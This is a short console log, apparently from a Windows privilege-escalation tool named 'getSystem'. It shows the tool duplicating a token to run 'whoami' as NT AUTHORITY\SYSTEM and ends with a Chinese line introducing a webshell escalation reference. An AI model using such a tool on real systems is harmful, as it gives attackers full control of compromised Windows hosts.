getSystem > getSystem.exe [+] getSystem Modify by Uknow [+] usage: getSystem command [+] eg: getSystem "whoami /all" > getSystem.exe "whoami" [+] getSystem Modify by Uknow [+] Token Duplicated [+] CreatePipe success [+] Command : "c:\Windows\System32\cmd.exe" "/c whoami" [+] Process with pid: 3772 created. ============================== nt authority\system webshel​​l下提权执行命令参考: :